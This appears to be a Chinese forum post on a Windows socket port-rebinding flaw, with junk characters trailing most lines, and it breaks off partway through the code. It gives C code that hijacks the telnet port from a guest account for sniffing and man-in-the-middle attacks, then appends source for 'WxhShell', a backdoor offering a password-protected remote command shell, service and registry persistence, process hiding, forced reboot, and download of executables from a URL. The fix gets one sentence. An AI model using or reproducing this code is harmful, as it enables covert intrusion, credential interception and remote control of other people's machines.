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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Xia4I* *  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  Sg  
RL4J{4K  
  saddr.sin_family = AF_INET; G8z.JX-7g  
? l/VCEZP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o-a\T  
i=T!4'Zu  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ', ~  
h]T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 K~Nx;{{d  
##!idcC  
  这意味着什么?意味着可以进行如下的攻击: ~ES6Qw`Oe  
~8:q-m_h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xl2;DFiYt  
yAD-sy +/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dyWj+N5(  
*ThP->&:(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c||EXFS}O  
e_=TkG1E6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  V3D`pt\[x  
~H`m"4zQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3Gi^TXE]  
+a3H1 tt~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .ni<'  
{$qE>ic  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {z#!3a  
DpQ\q;  
  #include jRiXN %  
  #include IVSOSl|  
  #include EDAtC  
  #include    >PuQ{T I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   fofYe0z  
  int main() ;n,xu0/  
  { :'`y}'  
  WORD wVersionRequested; *T6*Nxs0k  
  DWORD ret; |P0!dt7sQ  
  WSADATA wsaData; C&|K7Zp0v  
  BOOL val; *'w?j)}A9g  
  SOCKADDR_IN saddr; \uPyvA =  
  SOCKADDR_IN scaddr; =E.!Ff4~(  
  int err; ,>!%KYD/f  
  SOCKET s; ylm # Xa  
  SOCKET sc; tn{YIp   
  int caddsize; 'VgEf:BS  
  HANDLE mt; 3_bqDhVI5  
  DWORD tid;   &&% oazR=  
  wVersionRequested = MAKEWORD( 2, 2 ); mF:Pplf<  
  err = WSAStartup( wVersionRequested, &wsaData ); CY~ S{w  
  if ( err != 0 ) { ]f{3_M[  
  printf("error!WSAStartup failed!\n"); }1 ,\ *)5  
  return -1; +pPfvE`  
  } \VpN:RI  
  saddr.sin_family = AF_INET; "%}24t%  
   D%}rQ,*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 av&~A+b .r  
dBw7l}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $J8g)cS  
  saddr.sin_port = htons(23); +=:_a$98  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WEYZ(a|  
  { 3n,jrX75u  
  printf("error!socket failed!\n"); B"YN+So  
  return -1; P!Brw72  
  } J#W*,%8O  
  val = TRUE; cJerYRjsL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 u*f`\vs  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) a,36FF~&  
  { :w q][0)  
  printf("error!setsockopt failed!\n"); R_D&"&   
  return -1;  5@DCo  
  } 0K'{w]Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  ZC]|s[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &gJ1*"$9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;A4qE W  
4E2#krE%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jzJQ/ZFS  
  { n }b{u@$  
  ret=GetLastError(); hraR:l D  
  printf("error!bind failed!\n"); #.rkvoB0N  
  return -1; A!,c@Kv 3  
  } ;*'I&  
  listen(s,2); 2Z(t/Zp>  
  while(1) X-tw)  
  {  )ut$644R  
  caddsize = sizeof(scaddr); -RJ~Sky[  
  //接受连接请求 =igTY1|af  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^vxx]Hji  
  if(sc!=INVALID_SOCKET) ]0&X[?  
  { cRH(@b Xr  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); & #JYh=#  
  if(mt==NULL) 118lb]  
  { \pk9i+t  
  printf("Thread Creat Failed!\n"); @  R[K8  
  break; ~n8UN<  
  } #1%ahPhR+  
  } RP$h;0EQG  
  CloseHandle(mt); %%|pJ%}Q>  
  } >yr;Y4y7K  
  closesocket(s); :2H]DDg(  
  WSACleanup(); K\wu9z8M  
  return 0; +.&P$`;TZj  
  }   ?%`Ph ?BZl  
  DWORD WINAPI ClientThread(LPVOID lpParam) V@]SKbK}wN  
  { GMg! 2CIU  
  SOCKET ss = (SOCKET)lpParam; 3$xpZm60  
  SOCKET sc; ~r?tFE* +  
  unsigned char buf[4096]; KTt+}-vP^  
  SOCKADDR_IN saddr; L@z[b^  
  long num; i6P}MtC1  
  DWORD val; g4=C]\1  
  DWORD ret; IqV" 4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ux1j+}y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -8l(eDm"m  
  saddr.sin_family = AF_INET; q_6lD~~q^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); sZ~03QvkT  
  saddr.sin_port = htons(23); |||m5(`S  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^mjU3q{;  
  { @Co6$<  
  printf("error!socket failed!\n"); $3B%4#s  
  return -1; OwEV$Q  
  } %f'=9pit  
  val = 100; gxmo 1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _p0gXb1m`  
  { !@])Ut@tN  
  ret = GetLastError(); 0ETT@/)]z  
  return -1; w&f>VB~,1  
  } x]yIe&*('  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *#E_KW1RV  
  {  [Rub  
  ret = GetLastError(); 4i.&geX A.  
  return -1; @54$IhhT~  
  } n_4.`vs  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  Uj\t04  
  { M*bsA/Z  
  printf("error!socket connect failed!\n"); Y- Q)sv  
  closesocket(sc); (&NLLrsio  
  closesocket(ss); k~so+k&=b  
  return -1; ,tQN L\t  
  } Y@:l!4DI  
  while(1) _f8H%Kgk;  
  { MM]0}65KG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M"W#_wY;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 BKO^ux%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cWyf04-?  
  num = recv(ss,buf,4096,0); WMnSkO  
  if(num>0) W!T[ ^+  
  send(sc,buf,num,0); s-5 #P,Lw  
  else if(num==0) 7FkiT  
  break; BJ]L@L%  
  num = recv(sc,buf,4096,0); p>kny?AJ  
  if(num>0) tV_3!7m0$  
  send(ss,buf,num,0); s0]ZE\`H>  
  else if(num==0) x0>N{ADXQ  
  break; "9d Z z/{  
  } &>+5 8  
  closesocket(ss); <mki@{;|  
  closesocket(sc); 3 ^x&G?)  
  return 0 ; ern\QAhXX  
  } sVFX(yx0  
Xs|d#WbX  
L~e0^X?  
========================================================== ;F*^c )  
m>48?%  
下边附上一个代码,,WXhSHELL rXz q :  
[kpQ:'P3  
========================================================== $L( ,lB  
mE1Vr  
#include "stdafx.h" #tpz74O  
@YRy)+  
#include <stdio.h> 3QKBuo  
#include <string.h> a * CXg.i  
#include <windows.h> /2E Q:P  
#include <winsock2.h> k%u fgHl!  
#include <winsvc.h> S&-F(#CF^  
#include <urlmon.h> H"A@Q.'  
w2V:x[  
#pragma comment (lib, "Ws2_32.lib") $<XQv$YS  
#pragma comment (lib, "urlmon.lib") KztQT9kY  
Jw}&[  
#define MAX_USER   100 // 最大客户端连接数 fQ"Vx!  
#define BUF_SOCK   200 // sock buffer 0}`.Z03fy  
#define KEY_BUFF   255 // 输入 buffer [ _ `yy  
!-n* ]C  
#define REBOOT     0   // 重启 : O@(Sv  
#define SHUTDOWN   1   // 关机 sw}^@0ua=  
W`u @{Vb]  
#define DEF_PORT   5000 // 监听端口 8 %?MRRK  
7)1%Z{Dy  
#define REG_LEN     16   // 注册表键长度 ]b>XN8y.  
#define SVC_LEN     80   // NT服务名长度 8dLmsk^  
!gV{[j?~zr  
// 从dll定义API :-U& _%#w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =bP<cC=3b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,SIGfd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |:4W5>sfg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }+MA*v[06  
%-$ :/ N  
// wxhshell配置信息 _g9j_ x:=  
struct WSCFG { ZU0*iA  
  int ws_port;         // 监听端口 4`9ROC  
  char ws_passstr[REG_LEN]; // 口令 As5l36  
  int ws_autoins;       // 安装标记, 1=yes 0=no M6quPj  
  char ws_regname[REG_LEN]; // 注册表键名 6< -Cpc  
  char ws_svcname[REG_LEN]; // 服务名 u\iKdL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +A1*e+/b\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gBWr)R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =Ez@kTvOs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W5Jy"]^I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3TeRZ=2:*x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R>~I8k9mM  
E}F-*go  
}; [-"ZuUG  
:6%ivS  
// default Wxhshell configuration IO7gq+  
struct WSCFG wscfg={DEF_PORT, {/N8[?zML  
    "xuhuanlingzhe", a(|0 '^  
    1, ;XyryCo  
    "Wxhshell", DzA'MX  
    "Wxhshell",  u+z  
            "WxhShell Service", eJn_gKWb  
    "Wrsky Windows CmdShell Service", K?e16;   
    "Please Input Your Password: ", [~cz| C#  
  1, K0o${%'@7  
  "http://www.wrsky.com/wxhshell.exe", wpC .!T  
  "Wxhshell.exe" ki2 `gLK  
    }; .X(qs1  
;.xKVH/@  
// 消息定义模块 ME!P{ _/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dblf , x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^jb;4nf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ndT_;==  
char *msg_ws_ext="\n\rExit.";  !a\HdQ  
char *msg_ws_end="\n\rQuit."; 3}3b@:<  
char *msg_ws_boot="\n\rReboot..."; ;gu4~LQw  
char *msg_ws_poff="\n\rShutdown..."; |9.J?YP8 (  
char *msg_ws_down="\n\rSave to "; _I3"35a  
 Y%y  
char *msg_ws_err="\n\rErr!"; B<Cg_C  
char *msg_ws_ok="\n\rOK!"; 2'OY,Ooe  
@qW$un:  
char ExeFile[MAX_PATH]; 7I]?:%8 h  
int nUser = 0; x./"SQ=R+  
HANDLE handles[MAX_USER]; t5i58@{~  
int OsIsNt; %[~g84@  
-vc$I=b;  
SERVICE_STATUS       serviceStatus; &;r'JIp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3m4 sh~  
n"}*C|(k  
// 函数声明 bUM4^m  
int Install(void); Wlq3r#  
int Uninstall(void); "+`u ]  
int DownloadFile(char *sURL, SOCKET wsh); "Y5 :{Kj  
int Boot(int flag); Qi=0[  
void HideProc(void); PA*k |  
int GetOsVer(void); ?UIW&*h}  
int Wxhshell(SOCKET wsl); Z 5P4 H  
void TalkWithClient(void *cs); =TzJgx  
int CmdShell(SOCKET sock); pV\> ?  
int StartFromService(void); Z-_Xt^N  
int StartWxhshell(LPSTR lpCmdLine); .!lLj1?p  
a+O?bO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 73]t5=D:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o$U{.#  
S1~K.<B  
// 数据结构和表定义 m J$[X  
SERVICE_TABLE_ENTRY DispatchTable[] = r| \""  
{ YSfJUB!I  
{wscfg.ws_svcname, NTServiceMain}, o@[o6.B<  
{NULL, NULL} #4"eQ*.*"  
}; Sd.Km a  
(~5]1S}F  
// 自我安装 UmMu|`  
int Install(void) { ] 0T  
{ pStb j`Eq  
  char svExeFile[MAX_PATH]; R-,L"Vv  
  HKEY key; ei=u$S.  
  strcpy(svExeFile,ExeFile); m]Qs BK  
%BMlc m7Ec  
// 如果是win9x系统,修改注册表设为自启动 :f_oN3F p  
if(!OsIsNt) { 0yMHU[):~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %z-so?gF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -byaV;T?"  
  RegCloseKey(key); hgDFhbHtd6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9jx>&MnWs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GiK,+M"d  
  RegCloseKey(key); q|s:&&Wf  
  return 0; ` l'QAIo  
    } *A}td8(  
  } U,fPG/9  
} vflC{,{=k>  
else { >zw@!1{1  
hPGDN\#LD  
// 如果是NT以上系统,安装为系统服务 " s_S!;w@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oOubqx  
if (schSCManager!=0) Z0'LD<  
{ mF4OLG3L0  
  SC_HANDLE schService = CreateService 63$`KG3  
  ( lZ2g CZ  
  schSCManager, ]-a/)8  
  wscfg.ws_svcname, [TqX"@4NS  
  wscfg.ws_svcdisp, u}_x   
  SERVICE_ALL_ACCESS, C8)s6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , usoyH0t!?  
  SERVICE_AUTO_START, qx*b\6Rt  
  SERVICE_ERROR_NORMAL, "A~D(1K  
  svExeFile, 8ql<7RTM!  
  NULL, 4OO^%`=)M'  
  NULL, {9j0k`A  
  NULL, x5;D'Y t"|  
  NULL, Q?([#  
  NULL KiE'O{Y  
  ); /M3;~sx  
  if (schService!=0) RX^8`}N  
  { CO@ kLI  
  CloseServiceHandle(schService); #(a;w  
  CloseServiceHandle(schSCManager); @<4U &  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t%k`)p7O  
  strcat(svExeFile,wscfg.ws_svcname); |DVFi2   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o"P)(;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K)Z~ iBRM  
  RegCloseKey(key); At[SkG}b  
  return 0; j b'M  
    } "qZTgCOY2  
  } FLkZZ\  
  CloseServiceHandle(schSCManager); )?l7I*  
} ,qV7$u  
} loBW#>  
QC] <`!  
return 1; zJUT<%[U  
} $`vXI%|.  
m@L>6;*  
// 自我卸载 If'N0^'W  
int Uninstall(void) meThjCC  
{ Z R~2Y?Wt9  
  HKEY key; 1sJz`+\  
E6 T=lwOZ  
if(!OsIsNt) { >>y\idg&:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]z=dRq  
  RegDeleteValue(key,wscfg.ws_regname); N6S@e\*  
  RegCloseKey(key); pRsIi_~&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d}Y#l}!E6  
  RegDeleteValue(key,wscfg.ws_regname); sE{5&aCSR  
  RegCloseKey(key); n3eWqwQ$5  
  return 0; E\9HZ;}G  
  } 5UK}AkEe&x  
} ! z5c+JqN  
} J5Q.v;  
else { )S#?'gt*  
UxMei  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *Csxf[O  
if (schSCManager!=0) WigTNg4  
{ q8GCO\(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Gtvbm  
  if (schService!=0)  : ?Z9  
  { }~0}B[Rf  
  if(DeleteService(schService)!=0) { Y$|KY/)H)  
  CloseServiceHandle(schService); dEX67rUj;  
  CloseServiceHandle(schSCManager); 5dX0C  
  return 0; c0X1})q$  
  } c2s73i z  
  CloseServiceHandle(schService); ]a*26AbU+  
  } 20Jlf?  
  CloseServiceHandle(schSCManager); L$,Kdpj  
} cmd7-2  
} "s`#` '  
*kj+6`:CPs  
return 1; ox";%|PP1  
} a%an={  
PBL=P+  
// 从指定url下载文件 ;uZeYY?   
int DownloadFile(char *sURL, SOCKET wsh) !<X/_+G\  
{ ?fc<3q"  
  HRESULT hr; )W vOa] :  
char seps[]= "/"; QMDkkNK  
char *token; s~5rP:  
char *file; \"5p )(  
char myURL[MAX_PATH]; =dWq B&  
char myFILE[MAX_PATH]; Vy=+G~  
7MKZ*f@x;  
strcpy(myURL,sURL); -y$<fu9 e  
  token=strtok(myURL,seps); )hVn/*mH  
  while(token!=NULL) o?#-Tkb  
  { n%QWs 1 b  
    file=token; K&-u W_0  
  token=strtok(NULL,seps); j~9![s!  
  } V9>$M=  
VjeF3pmBa  
GetCurrentDirectory(MAX_PATH,myFILE); 3?!c<^"e  
strcat(myFILE, "\\"); ]&='E.f  
strcat(myFILE, file); e_S,N0  
  send(wsh,myFILE,strlen(myFILE),0); (8NE'd8  
send(wsh,"...",3,0); <Y;w I#C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kD((1v*D$  
  if(hr==S_OK) 7Fzr\&  
return 0; 6J -=6t|  
else \t=#MzjR  
return 1; .^ba*qb`{  
85A7YraL  
} c;#gvE  
1k$5'^]^9]  
// 系统电源模块 g<8Oezi 65  
int Boot(int flag) 2';{o=TXV  
{ >I+p;V$@  
  HANDLE hToken; ]x'd0GH"]  
  TOKEN_PRIVILEGES tkp; G) 37?A)  
q[. p(6:  
  if(OsIsNt) {  -f<}lhmQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =C7<I   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "837b/>/  
    tkp.PrivilegeCount = 1; = ^%*:iT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h=kC3ot\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4`+R |"4  
if(flag==REBOOT) { =&: |a$C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g6?5  
  return 0; N{a=CaYi+  
} :{KpnJvd  
else { og4mLoLA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L/N%ft]!T  
  return 0; dTwYDV}:  
} @ykl:K%ke  
  } Nr*o RYY  
  else { V'K:52  
if(flag==REBOOT) { +Je%8jH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `j 4>  
  return 0; 'XOWSx;Y  
} fM(~>(q&  
else { E$v!Z;A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CX]L'  
  return 0; gL7rX aj  
} 7oCY@>(f  
} z)u\(W*\iA  
8rLhOA  
return 1; 6R#igLm  
} [z'jL'\4  
rX?%{M,xFw  
// win9x进程隐藏模块 n3\~H9  
void HideProc(void) q{xF7}i  
{ JL7;l0#  
Y/L*0 M.<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wxF\enDY  
  if ( hKernel != NULL ) \[A JWyP  
  { }E&:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q-yNw0V}F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {m_y<  
    FreeLibrary(hKernel); :8A@4vMS)?  
  } {WTy/$ Qk  
xg'xuz$U  
return; 79+i4(H  
} DjvPeX  
59X XmVg  
// 获取操作系统版本 Wo5%@C#M  
int GetOsVer(void) H=mFc@fh  
{ p?4,YV|#  
  OSVERSIONINFO winfo; *y|zF6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A,?6|g`q'  
  GetVersionEx(&winfo); E<@N4%K_Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -'^:+FU  
  return 1; KppYe9?  
  else 2g5jGe*0  
  return 0; n.G.f bO  
} [|\#cVWs  
KC8  
// 客户端句柄模块 Io{BO.K*Y  
int Wxhshell(SOCKET wsl) !L2!:_  
{ 64Tb,AL_  
  SOCKET wsh; ?gMq:[X N  
  struct sockaddr_in client; y-~_W 6\  
  DWORD myID; Us%g&MWdpb  
uF[~YJ>  
  while(nUser<MAX_USER)  +&<k}Mz  
{ I |"'  
  int nSize=sizeof(client); bR?xz-g%<3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f @Vd'k<  
  if(wsh==INVALID_SOCKET) return 1; 2dDhO  
WwxV} ?Cf+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @c).&7  
if(handles[nUser]==0) yqP=6   
  closesocket(wsh); *Xh#W7,<  
else ! iK{q0  
  nUser++; CXTt N9N9  
  } 6;(b-Dhi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #JN4K>_4  
i\x@s>@x}  
  return 0; xWM?E1@  
} n"@){:{4?  
h+j*vX/!  
// 关闭 socket & u6ydN1xe  
void CloseIt(SOCKET wsh) 9I''$DVf  
{ S#Tu/2<}  
closesocket(wsh); ~Q}!4LH  
nUser--; \~  l"  
ExitThread(0); PO ,zP9  
} 3r[ s_Y*  
O,#,`2Qc  
// 客户端请求句柄 8EBd`kiq  
void TalkWithClient(void *cs) [I7=]X  
{ (B03f$8}*_  
E H|L1g  
  SOCKET wsh=(SOCKET)cs; 0-/@-qV\  
  char pwd[SVC_LEN]; B[t>T>~  
  char cmd[KEY_BUFF]; #+$ PD`j  
char chr[1]; 46~nwi$,^  
int i,j; Tt,T6zs- <  
N:%Nq8I}:  
  while (nUser < MAX_USER) { **.23<n^W  
s|X_:3\x  
if(wscfg.ws_passstr) { ant2];0p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z/ L%?zH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K#VGG,h7Y  
  //ZeroMemory(pwd,KEY_BUFF); MeAY\V%G=o  
      i=0; nQ{~D5y,,  
  while(i<SVC_LEN) { ^AERGB\36  
.kJu17!  
  // 设置超时 >;%LW} %  
  fd_set FdRead; b1%w+*d<z  
  struct timeval TimeOut; ;j+*}|!  
  FD_ZERO(&FdRead); j]aIJbi  
  FD_SET(wsh,&FdRead); G3h"Eo?>g  
  TimeOut.tv_sec=8; p(9[*0.};  
  TimeOut.tv_usec=0; Rm~8n;7oOr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?8;WP&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <;cch6Z  
,$RXN8x1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qLl4t/p  
  pwd=chr[0]; !_W']Crb]]  
  if(chr[0]==0xd || chr[0]==0xa) { -#R63f&  
  pwd=0; 2-@t,T  
  break; ;Zn&Nc7  
  } :)FNhx3  
  i++; ac1(lD  
    } p\Iy)Y2Lf!  
\tCK7sBn  
  // 如果是非法用户,关闭 socket RJ{J~-q{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yV31OBC:  
} _Ih"*~ r/&  
`'gcF });  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &%eM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HrT@Df  
`G=+qti  
while(1) { 12Fnv/[n'K  
}G!'SZ$F 5  
  ZeroMemory(cmd,KEY_BUFF); JOs kf(  
{wO .nOB  
      // 自动支持客户端 telnet标准   rd"!&i  
  j=0; jHObWUX  
  while(j<KEY_BUFF) { B[2t.d;h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N x^JC_  
  cmd[j]=chr[0]; E,ooD3$h  
  if(chr[0]==0xa || chr[0]==0xd) { B~,?Gbl+g  
  cmd[j]=0; /;xrd\du  
  break; +?{LLD*2e  
  } /AY q^  
  j++; K <WowU  
    } =l6W O*  
,'sDauFn  
  // 下载文件 _ozg=n2(  
  if(strstr(cmd,"http://")) { /nEK|.j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UWdqcOr  
  if(DownloadFile(cmd,wsh))  UF@.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); , 10+Sh  
  else iTF%}(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yA7O<p+  
  } \Rha7O  
  else { = \K/ulZo  
|:u5R%  
    switch(cmd[0]) { G=C2l# Ae!  
  R@`xS<`L/  
  // 帮助 % 3fpIzm  
  case '?': { c;=St1eoz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S(rnVsW%Ki  
    break; B}aW y&D  
  } F)19cKx7  
  // 安装 v[?gM.SF  
  case 'i': { 9<"F3F0|  
    if(Install()) y{XNB}E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *$/Go8t4u  
    else $jBi~QqOf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {xP-p"?p  
    break; =c]We:I  
    } i?)bF!J  
  // 卸载 ?*<1B  
  case 'r': { w2^s}NO  
    if(Uninstall()) C[+?gQJ[9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aD~S~L!  
    else [~;wCW,1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j-qg{oIJ  
    break; cvx"XxE,  
    } ZT,au SX  
  // 显示 wxhshell 所在路径 PAVlZ}kj  
  case 'p': { }R:oWR  
    char svExeFile[MAX_PATH]; `[ZA#8Ma  
    strcpy(svExeFile,"\n\r"); [G[{?{  
      strcat(svExeFile,ExeFile); BL%&n*&  
        send(wsh,svExeFile,strlen(svExeFile),0); 715J1~aRNr  
    break; |@?='E?h  
    } kpk ^Uw%f  
  // 重启 FE#| 5;q.  
  case 'b': { ONc#d'-L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8zwH^q[`r  
    if(Boot(REBOOT)) f,BJb+0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]HRHF'4  
    else { DvA#zX[  
    closesocket(wsh); P#;pQC  
    ExitThread(0); vJW`aN1<I3  
    } [u-=<hnoa  
    break; Q1H.2JXr  
    } % 5BSXAc  
  // 关机 C3 m_sv#e  
  case 'd': { Gr3 q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !=+;9Ry$z  
    if(Boot(SHUTDOWN)) Q0xQx z  
